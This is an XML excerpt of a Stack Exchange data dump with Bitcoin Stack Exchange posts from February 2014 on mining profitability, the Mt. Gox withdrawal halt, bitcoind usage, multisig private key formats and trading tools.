  <row Id="22497" PostTypeId="2" ParentId="20346" CreationDate="2014-02-21T06:35:58.530" Score="2" Body="&lt;p&gt;Suppose you go with just using one address.  Now suppose there comes a day when two different customers make reservations that have the same price. But you only get one payment to your address. Both customers claim to have paid. What will you do?&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-02-21T06:35:58.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22498" PostTypeId="1" CreationDate="2014-02-21T10:28:41.890" Score="1" ViewCount="161" Body="&lt;p&gt;Looking to expand beyond using bitstamp and gox's (ok, well, that one was easy) built-in trading interfaces to something more unified and manageable. RTBTC seems to have a clean interface. What about alerts sent out when a certain price is reached? Are there any tools that track transactions for tax purposes?&lt;/p&gt;&#xA;" OwnerUserId="13717" LastActivityDate="2014-02-22T03:23:35.607" Title="As a Bitcoin Trader, what tools are available to execute trades?" Tags="|trading|" AnswerCount="1" CommentCount="0" ClosedDate="2014-02-26T02:57:27.197" ContentLicense="CC BY-SA 3.0" />
  <row Id="22500" PostTypeId="1" CreationDate="2014-02-21T11:47:06.270" Score="6" ViewCount="3462" Body="&lt;p&gt;I'm using bitcoin-qt and have a local copy of the blockchain, in which I'm running some analysis with the JSON-RPC API using mostly &lt;code&gt;getblock&lt;/code&gt; and &lt;code&gt;getrawtransaction&lt;/code&gt;. I have no need writing or sending transactions in this use case. It's overkill to run a full node just to read the blockchain, and it hurts my analysis performance, too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a (preferrably tested) library to parse the blockchain and return objects, JSON or not? Language doesn't matter much. If not, is there a node implementation that allow turning off network and wallet features?&lt;/p&gt;&#xA;" OwnerUserId="13720" LastActivityDate="2021-01-14T21:42:51.357" Title="Is there a lightweight blockchain parser library/server?" Tags="|bitcoind|json-rpc|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22501" PostTypeId="2" ParentId="22500" CreationDate="2014-02-21T12:44:59.913" Score="1" Body="&lt;p&gt;A good solution would be to use a trusted third-party that has already parsed the entire block chain for you. For example, the &lt;a href=&quot;http://blockchain.info/api&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info API&lt;/a&gt; is quite well suited for your purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically what you want is the &lt;a href=&quot;http://blockchain.info/api/blockchain_api&quot; rel=&quot;nofollow&quot;&gt;Block Explorer API&lt;/a&gt; which returns JSON objects.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-02-21T12:44:59.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22503" PostTypeId="1" CreationDate="2014-02-21T15:50:37.967" Score="0" ViewCount="107" Body="&lt;p&gt;I am a linux noob, so please take that in to account.  I believe i have compile poclbm and all it's dependencies correctly however when I try and run it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python poclbm.py http://xxxx@xxxxx@pit.deepbit.net:8332 -d 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the following error &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;21/02/2014 15:45:26, Setting server (xxxx@xxxxx @ pit.deepbit.net:8332)&#xA;pit.deepbit.net:8332 21/02/2014 15:45:26, checking for stratum...               &#xA;Segmentation fault&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea of why this might be happening?  Changing my logging a bit I can see it's a &lt;code&gt;3044 Segmentation fault&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="503" LastActivityDate="2014-03-01T17:49:44.687" Title="Having trouble getting poclbm to work on linux, Segmentation fault" Tags="|linux|poclbm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22508" PostTypeId="1" AcceptedAnswerId="22510" CreationDate="2014-02-21T18:51:04.957" Score="-1" ViewCount="306" Body="&lt;p&gt;So, I would like to get started in mining BTC and live in Britain south of Cambridge. I have a custom machine running an OC 7870, intel i5 etcetera. Would it be pointless mining with this hardware as I only get about 380 m/hash and is this too low in comparison to electricity bills. What's an Asic Miner and is it worth buying one of the £40 1.6 GH/s ones. Will this be too expensive in comparison to my electricity and how much could I make off of this in a month   including the price of the electricity?&lt;/p&gt;&#xA;" OwnerUserId="13732" LastEditorUserId="5406" LastEditDate="2016-04-25T20:33:58.110" LastActivityDate="2016-04-25T20:33:58.110" Title="How do I get started, what hardware do I use?" Tags="|mining-profitability|mining-hardware|asic|" AnswerCount="2" CommentCount="2" ClosedDate="2014-02-25T11:24:54.683" ContentLicense="CC BY-SA 3.0" />
  <row Id="22510" PostTypeId="2" ParentId="22508" CreationDate="2014-02-21T19:34:26.440" Score="2" Body="&lt;p&gt;Yes, GPU is out of the question for Bitcoin.  Although, you could mine Scrypt Alt-coins with it, like Litecoin and Dogecoin.  As far as your ASIC is concerned, you can input your numbers in the Profit calculator at &lt;a href=&quot;http://mining.thegenesisblock.com&quot; rel=&quot;nofollow&quot;&gt;http://mining.thegenesisblock.com&lt;/a&gt; and see what you come up with...&lt;/p&gt;&#xA;" OwnerUserId="13734" LastActivityDate="2014-02-21T19:34:26.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22512" PostTypeId="1" AcceptedAnswerId="22565" CreationDate="2014-02-21T21:09:47.813" Score="1" ViewCount="154" Body="&lt;p&gt;I realize this can be done at blockchain.info, but would like to find a way to do this with just the bitcoind client. if all I have is the receiving address and the transaction number, I can't figure out what command or set of commands to use. I can get and decode the raw transaction (&lt;code&gt;bitcoind decoderawtransaction $(bitcoind getrawtransaction 3dd264f603f75871c5a36b61db8e137d8cee6b019a8d5bdfdabd7383ccc47068) | less&lt;/code&gt;), but that doesn't give me the block number. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;note that I can't use &lt;code&gt;gettransaction&lt;/code&gt; because my local box (netbook) isn't the origin nor the destination of the transaction; I get &lt;code&gt;error: {&quot;code&quot;:-5,&quot;message&quot;:&quot;Invalid or non-wallet transaction id&quot;}&lt;/code&gt;. I also can't use &lt;code&gt;listreceivedbyaddress&lt;/code&gt; for the same reason, although I don't get an error in this case because I did once send to the address in question from my netbook.&lt;/p&gt;&#xA;" OwnerUserId="3758" LastEditorUserId="3758" LastEditDate="2014-02-21T23:57:22.730" LastActivityDate="2014-02-23T17:06:56.733" Title="how does one map a transaction number to a block with just the bitcoind client?" Tags="|bitcoind|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22513" PostTypeId="1" CreationDate="2014-02-21T21:38:34.643" Score="3" ViewCount="852" Body="&lt;p&gt;I know mtgox is imposing halts of withdrawals at the moment but i just cant understand this chart (see bellow - taken on 21.2.14 21:37 GMT), surely if i can buy btc on mtgox and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) Then spend them &lt;/p&gt;&#xA;&#xA;&lt;p&gt;B) Keep them&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When mtgox allows withdrawals they will be at c.$400-500, why are they listed at c.$100 on mtgox at the moment ? Am i missing something or is there a huge opportunity here (ie. why are people selling at $100 when elsewhere they are going for $500) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is the price artificial ie. its just a price but no coins are changing hands ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cF3gN.png&quot; alt=&quot;btc chart&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13738" LastActivityDate="2015-01-04T20:53:01.560" Title="Huge price difference between mtgox and others - why?" Tags="|mtgox|exchange-rate|arbitrage|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22514" PostTypeId="1" CreationDate="2014-02-21T21:40:40.110" Score="2" ViewCount="1098" Body="&lt;p&gt;I am trying to do multisignature addresses and when it comes time to spend the funds, I am getting stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I create a 2 of 3 multisignature address using 3 public keys that I generate locally, then dump their private keys and use those to sign and spend the funds, it works without issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, when I generate public/private key pairs from BitAddress.org (Wallet Details) there are multiple types of private keys with different lengths. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Private Key WIF 51 characters base58, starts with a '5'&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Private Key Hexadecimal Format (64 characters [0-9A-F])&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Private Key Base64 (44 characters)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Private Key 52 characters base58, starts with a 'K' or 'L'&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I do &lt;strong&gt;dumpprivkey&lt;/strong&gt; for one of the keypairs generated locally, it spits out a 52 character key. So I thought maybe the 52 character base58 private key was the one I should enter, but it returns &quot;Invalid Private Key&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key that &lt;strong&gt;dumpprivkey&lt;/strong&gt; spits out does not follow any of the rules of any of the above private keys provided by BitAddress.org generation. So how do I generate this private key that I can use in &lt;strong&gt;signrawtransaction&lt;/strong&gt; ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want users to be able to generate and supply their own private keys for a multisignature escrow, so generating the addresses locally is not an option. &lt;/p&gt;&#xA;" OwnerUserId="13657" LastEditorUserId="5406" LastEditDate="2014-02-23T10:25:11.617" LastActivityDate="2014-04-24T14:52:05.403" Title="signrawtransaction - Which private key from BitAddress.org?" Tags="|transactions|private-key|multi-signature|signature|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22515" PostTypeId="2" ParentId="22513" CreationDate="2014-02-21T21:51:13.360" Score="2" Body="&lt;p&gt;As my comment says, if you were to buy any BTC on Mt. Gox, you have no way of transferring it elsewhere or spending it.  All outbound transfers are turned off, and people have no way of knowing if or when transfers will resume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a belief that Mt. Gox is insolvent or will be shortly. Whether that is true remains to be seen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if Mt. Gox does indeed go bankrupt, there is a school of thought that says you are better holding fiat currency in Mt. Gox than holding Bitcoin.  There is an established body of law in Japan and elsewhere about companies that go bankrupt while holding customer funds.  There is very little precedent about what to do when a company goes bankrupt holding customer accounts in Bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you cannot get &lt;em&gt;either&lt;/em&gt; out of Mt. Gox at this time, people are hesitant about holding BTC.  That's just one of the factors contributing to the current pricing.      &lt;/p&gt;&#xA;" OwnerUserId="11121" LastEditorUserId="-1" LastEditDate="2014-02-22T03:37:35.860" LastActivityDate="2014-02-22T03:37:35.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22520" PostTypeId="2" ParentId="22513" CreationDate="2014-02-22T00:55:58.693" Score="6" Body="&lt;h2&gt;Observations&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Mt.Gox is currently offering neither fiat withdrawals, nor Bitcoin withdrawals. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No withdrawals means that the Mt.Gox price is &lt;strong&gt;completely decoupled&lt;/strong&gt; from the Bitcoin market, as there can be &lt;strong&gt;no arbitrage&lt;/strong&gt; to close the gap. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Precursors&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Mt.Gox has handled the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/21994/what-is-transaction-malleability&quot;&gt;Malleable Transaction issue&lt;/a&gt; poorly, and squandered the trust of a lot of its users. Since shutting down withdrawals on &lt;a href=&quot;https://www.mtgox.com/press_release_20140210.html&quot; rel=&quot;nofollow&quot;&gt;February 10th&lt;/a&gt;, they have pointed fingers about an issue that was &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_Malleability&quot; rel=&quot;nofollow&quot;&gt;known since 2011&lt;/a&gt;, which they did not take into consideration when implementing their exchange software. They &lt;a href=&quot;https://www.mtgox.com/img/pdf/20140217-Announcement.pdf&quot; rel=&quot;nofollow&quot;&gt;promised on Februar 17th&lt;/a&gt; that withdrawals would recommence &quot;soon&quot;, which still hasn't happened yet, instead on &lt;a href=&quot;https://www.mtgox.com/img/pdf/20140220-Announcement.pdf&quot; rel=&quot;nofollow&quot;&gt;Februar 20th&lt;/a&gt; they announced further delays. They have also not made any statements about how strongly they were affected by the issue and whether their customers money is safe. For comparison Bitstamp.net &lt;a href=&quot;https://www.bitstamp.net/article/bitcoin-withdraws-suspended/&quot; rel=&quot;nofollow&quot;&gt;immediately communicated&lt;/a&gt; that all deposits were safe, and had their service fixed and secured against Transaction Malleability &lt;a href=&quot;https://www.bitstamp.net/article/Bitcoin-withdrawals-are-once-again-fully-automated/&quot; rel=&quot;nofollow&quot;&gt;within a few days&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Idle Speculations (=ramblings, certainly not investment advice)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I am seeing two scenarios possible at the moment:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Mt.Gox is insolvent. This could have happened due to them unwittingly double-sending many withdrawals of a total immense amounts due to the Malleable Transaction issue.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;They cannot recommence withdrawals, as the bank run would immediately take all their room for maneuvering. At the moment they can still earn a fee on every trade and enough trade just might lift them back to business. &lt;/li&gt;&#xA;&lt;li&gt;First lawsuits are imminent. People holding fiat on the exchange might have better chances of getting some money back.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mt.Gox actually is just communicating poorly and, being more strongly affected by the issue, requires more time to sort out all their transaction history.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Once withdrawals resume, the market will settle to somewhere between current market value and Mt.Gox value through arbitrage. Mt.Gox' market share would probably still drop significantly.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'd be surprised if they were actually insolvent, as they would have to be making a good amount of money from exchange fees every day.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-01-04T20:53:01.560" LastActivityDate="2015-01-04T20:53:01.560" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22521" PostTypeId="2" ParentId="22508" CreationDate="2014-02-22T01:06:52.090" Score="0" Body="&lt;p&gt;The most profitable form of mining now is actually alt coin &quot;scrypt&quot; mining.  So most efficient investment would be to get some good GPU's for alt coin mining, go to &lt;a href=&quot;http://www.coinwarz.com/cryptocurrency&quot; rel=&quot;nofollow&quot;&gt;http://www.coinwarz.com/cryptocurrency&lt;/a&gt;     then pick one of the top coins that has decent volume.  Then start an account with a site like Cryptsy and trade those alt coins for Bitcoin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind of complicated but much more profitable for investment size then Bitcoin mining.  Doing this and getting lucky with mining a few coins early before difficulty took off has netted me a little over 2 Bitcoin in 2 months with a 1000 dollar investment.  Your results may very however as there are a LOT of variables to take into account and these alt coins can fluctuate even more then Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your dead set on BITCOIN mining then I would suggest something like an ASICMiner Block Erupter Cube 30GH/s to 38GH/s Miner &#xA;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00H8K3MZU&quot; rel=&quot;nofollow&quot;&gt;http://www.amazon.com/gp/offer-listing/B00H8K3MZU/ref=dp_olp_new?ie=UTF8&amp;amp;condition=new&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will warn you that with Bitcoin mining and difficultly increase that with that miner there which is one of the best deals I can find you will be lucky to make your money back at current prices.&lt;/p&gt;&#xA;" OwnerUserId="13743" LastActivityDate="2014-02-22T01:06:52.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22523" PostTypeId="2" ParentId="22498" CreationDate="2014-02-22T03:23:35.607" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://cryptrader.com/&quot; rel=&quot;nofollow&quot;&gt;CrypTrader&lt;/a&gt; is a website that unifies the exchanges via your API keys, so that you can trade all on one platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mybitalert.com/&quot; rel=&quot;nofollow&quot;&gt;MyBitAlert&lt;/a&gt; lets you set up email alerts when the price reaches a certain level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coinreporting.com/&quot; rel=&quot;nofollow&quot;&gt;CoinReporting&lt;/a&gt; lets you enter your trades (or import them automatically) and show your P&amp;amp;L, and can even export trades for your tax declaration.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-02-22T03:23:35.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22524" PostTypeId="2" ParentId="18201" CreationDate="2014-02-22T03:36:52.930" Score="2" Body="&lt;p&gt;The client calculates the priority of the transaction, which is defined as coin days destroyed (i.e. number of coins times coin age) divided by transaction size. If it is above a certain level, the transaction may be sent for free. Otherwise, a 0.001 LTC per KB fee is enforced by the client. In general, this also happens to be the minimum recommended fee per KB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some miners choose to enforce these fees and won't include a transaction in a block they mine if it does not have enough fees. Other miners don't care and include any transaction in their block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in an &lt;a href=&quot;http://block-explorer.com/block/7e5e48f7d5e6d5cbf46c66083bc35a5b256165d3477a7d57a4182fe267ff549d&quot; rel=&quot;nofollow&quot;&gt;example block&lt;/a&gt;, most transactions of any decent size don't require a fee. Generally, if you send 1 LTC which you did not receive very recently and is not composed of a lot of small input transactions, you do not need to pay a fee. If you try to send a transaction with zero fee when it needs one, miners might skip over your transaction, and you'll need to wait until some miner is willing to include it in their block. If you grow tired of waiting, you can broadcast another transaction using the same coins (but this time with a fee). It will be included in a block, and the previous transaction will be regarded as a double spend and thus be rejected and disappear from the network.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-02-22T03:36:52.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22525" PostTypeId="2" ParentId="22429" CreationDate="2014-02-22T03:46:37.457" Score="2" Body="&lt;p&gt;Not all of the addresses in your wallet are displayed in the QT client. There are certain addresses called &lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot; rel=&quot;nofollow&quot;&gt;change addresses&lt;/a&gt; which your client creates automatically when you send coins and have some left over. Those are still part of your wallet, but are not displayed.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-02-22T03:46:37.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22526" PostTypeId="2" ParentId="22250" CreationDate="2014-02-22T03:57:27.063" Score="1" Body="&lt;p&gt;Deepbit allows PPS (pay per share) or Prop (proportional) mining. Under PPS, you get credited for each share you mine. Under Prop, you get credited after the pool finds a block, with the 25 BTC split proportionally among the miners based on how many shares they have. Since Deepbit has 1% of the total hashrate (according to &lt;a href=&quot;https://blockchain.info/pools&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt;), on average it will take 100 * 10 min = 16 hours to find a block, though I stress this is only an average and variance can be very high. So if you choose Prop, you'll get paid every 16 hours, on average.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-02-22T03:57:27.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22527" PostTypeId="2" ParentId="20303" CreationDate="2014-02-22T04:44:35.897" Score="6" Body="&lt;p&gt;You can do this manually using the hex/base58check converter (such as the converter on brainwallet.org)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove the starting &lt;code&gt;1&lt;/code&gt; and convert from base58 &lt;code&gt;XXXXXXXXXXXXXXXXXXXXXXXXXXX&lt;/code&gt; to hex: &lt;code&gt;25c7415deb828c49ccb799c452ae17589bca1af2&lt;/code&gt; (make sure result is 24 bytes)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove last 4 bytes to get a 20-byte hash:&#xA;&lt;code&gt;25c7415deb828c49ccb799c452ae17589bca1af2&lt;/code&gt; -&gt; &lt;code&gt;25c7415deb828c49ccb799c452ae1758&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Convert from hex &lt;code&gt;25c7415deb828c49ccb799c452ae1758&lt;/code&gt; to base58check: &lt;code&gt;1XXXXXXXXXXXXXXXXXXXXXYDgWVE&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Final result is valid &lt;code&gt;1XXXXXXXXXXXXXXXXXXXXXYDgWVE&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="13751" LastEditorUserId="11369" LastEditDate="2014-02-23T05:22:55.020" LastActivityDate="2014-02-23T05:22:55.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22528" PostTypeId="2" ParentId="20366" CreationDate="2014-02-22T05:03:30.850" Score="2" Body="&lt;p&gt;Yes, there's a nice script written by you.&#xA;&lt;a href=&quot;https://github.com/stevenzeiler/ripple-wallet&quot; rel=&quot;nofollow&quot;&gt;https://github.com/stevenzeiler/ripple-wallet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3163" LastActivityDate="2014-02-22T05:03:30.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22530" PostTypeId="1" CreationDate="2014-02-22T10:48:32.673" Score="0" ViewCount="2017" Body="&lt;p&gt;i'm looking at the coin based api and they provide historical price data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://coinbase.com/api/v1/prices/historical?page=1&quot; rel=&quot;nofollow&quot;&gt;https://coinbase.com/api/v1/prices/historical?page=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which returns results like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2014-02-22T04:47:06-05:00,575.39&#xA;2014-02-22T04:36:57-05:00,575.36&#xA;2014-02-22T04:27:28-05:00,577.26&#xA;2014-02-22T04:19:01-05:00,576.73&#xA;2014-02-22T04:10:21-05:00,576.96&#xA;2014-02-22T03:57:22-05:00,579.31&#xA;2014-02-22T03:48:48-05:00,574.41&#xA;2014-02-22T03:40:22-05:00,572.71&#xA;2014-02-22T03:27:03-05:00,577.84&#xA;2014-02-22T03:18:43-05:00,574.86&#xA;2014-02-22T03:11:01-05:00,571.28&#xA;2014-02-22T02:57:25-05:00,568.91&#xA;2014-02-22T02:47:18-05:00,567.27&#xA;2014-02-22T02:27:11-05:00,568.28&#xA;2014-02-22T02:17:59-05:00,564.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see the date time and price but for example in the first line&#xA; 2014-02-22&#xA; T04:47:06-05:00,&#xA; 575.39&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what format is the time in it shows hh:mm:ss-??:??,&lt;/p&gt;&#xA;" OwnerUserId="12408" LastActivityDate="2014-04-23T13:50:18.320" Title="interpreting coin base api historical price data" Tags="|api|coinbase.com|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22532" PostTypeId="1" CreationDate="2014-02-22T12:05:52.343" Score="2" ViewCount="1431" Body="&lt;p&gt;How can I build a bitcoinj checkpoint file&#xA;like the &lt;a href=&quot;https://github.com/schildbach/bitcoin-wallet/blob/master/wallet/assets/checkpoints&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-wallet checkpoints&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="13761" LastEditorUserId="5406" LastEditDate="2016-01-05T13:34:58.597" LastActivityDate="2016-07-18T18:47:27.457" Title="How to build a bitcoinj checkpoint file" Tags="|bitcoinj|android|checkpoints|bitcoin-wallet-app|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22533" PostTypeId="2" ParentId="22530" CreationDate="2014-02-22T12:28:16.243" Score="1" Body="&lt;p&gt;This seems to correspond to the &lt;a href=&quot;http://www.w3.org/TR/NOTE-datetime&quot; rel=&quot;nofollow&quot;&gt;ISO 8601&lt;/a&gt; datetime format, specifically the &lt;em&gt;complete date plus hours, minutes and seconds with time zone designation&lt;/em&gt; format.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;YYYY-MM-DDThh:mm:ssTZD (e.g. 1997-07-16T19:20:30+01:00)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;TZD&lt;/code&gt; hereby stands for &lt;em&gt;time zone designator&lt;/em&gt;, which is a &lt;code&gt;±hh:mm&lt;/code&gt; offset from UTC* . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accordingly, &quot;-05:00&quot; would represent &lt;a href=&quot;http://www.timeanddate.com/library/abbreviations/timezones/na/est.html&quot; rel=&quot;nofollow&quot;&gt;Eastern Standard Time&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;* UTC (Coordinated Universal Time) is also known as GMT (Greenwich Mean Time), i.e. the time in London's time zone.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-02-22T12:28:16.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22534" PostTypeId="1" CreationDate="2014-02-22T13:59:20.727" Score="-4" ViewCount="318" Body="&lt;p&gt;So when I sell my bitcoin via the ATM for cash(USD). Who gets the bitcoin? THe company that owns the ATM? And is that bitcoin still part of the system?&lt;/p&gt;&#xA;" OwnerUserId="13765" LastActivityDate="2014-02-22T15:43:55.920" Title="Bitcoins for Cash at Bitcoin ATMs" Tags="|sell-bitcoins|bitcoin-atm|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22535" PostTypeId="1" CreationDate="2014-02-22T14:07:52.187" Score="1" ViewCount="431" Body="&lt;p&gt;How can I create 50,000+ bitcoin addresses in my wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will need more than 50,000+ addresses in my main wallet. I use Bitcoin Armory, Bitcoin-Qt and I'm just trying out Blockchain.info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to generate 50,000+ addresses in my wallet? If I use bBitcoin-Qt  or Armory I can create addresses manually, but I need something to automate this system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible? Is there some API for this?&lt;/p&gt;&#xA;" OwnerUserId="13766" LastEditorUserId="5406" LastEditDate="2014-02-22T16:05:29.490" LastActivityDate="2014-02-22T16:24:53.860" Title="How can I create 50,000+ bitcoin addresses in my wallet?" Tags="|wallet|bitcoin-core|address-generation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22538" PostTypeId="2" ParentId="22534" CreationDate="2014-02-22T15:43:55.920" Score="2" Body="&lt;p&gt;When you exchange Bitcoins for dollars at an ATM, it's the same as when you sell them any other way: the coins become the property of the ATM owner, who can do with them what they like.  They might:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Sell them on an exchange (to know which one, you'd have to ask them, but there's really no reason they should tell you).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Keep them to sell to future ATM users who want to buy coins&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hold them for speculation&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use them to pay employees, or buy other goods and services&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Draw pentagrams on the floor, light candles and chant the digits of the private key&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's no way for you to know what they do with the coins unless they tell you, and no reason why you should really care.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-02-22T15:43:55.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22539" PostTypeId="2" ParentId="11152" CreationDate="2014-02-22T15:45:39.550" Score="1" Body="&lt;p&gt;I wrote a version of this here: &lt;a href=&quot;https://github.com/hughht5/fhba&quot; rel=&quot;nofollow&quot;&gt;https://github.com/hughht5/fhba&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does not have any autonomous self replicating features, but you can upload files and pay a fee to keep them online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WARNING - currently no TX fees are paid so money paid to it will likely be lost.&lt;/p&gt;&#xA;" OwnerUserId="5657" LastActivityDate="2014-02-22T15:45:39.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
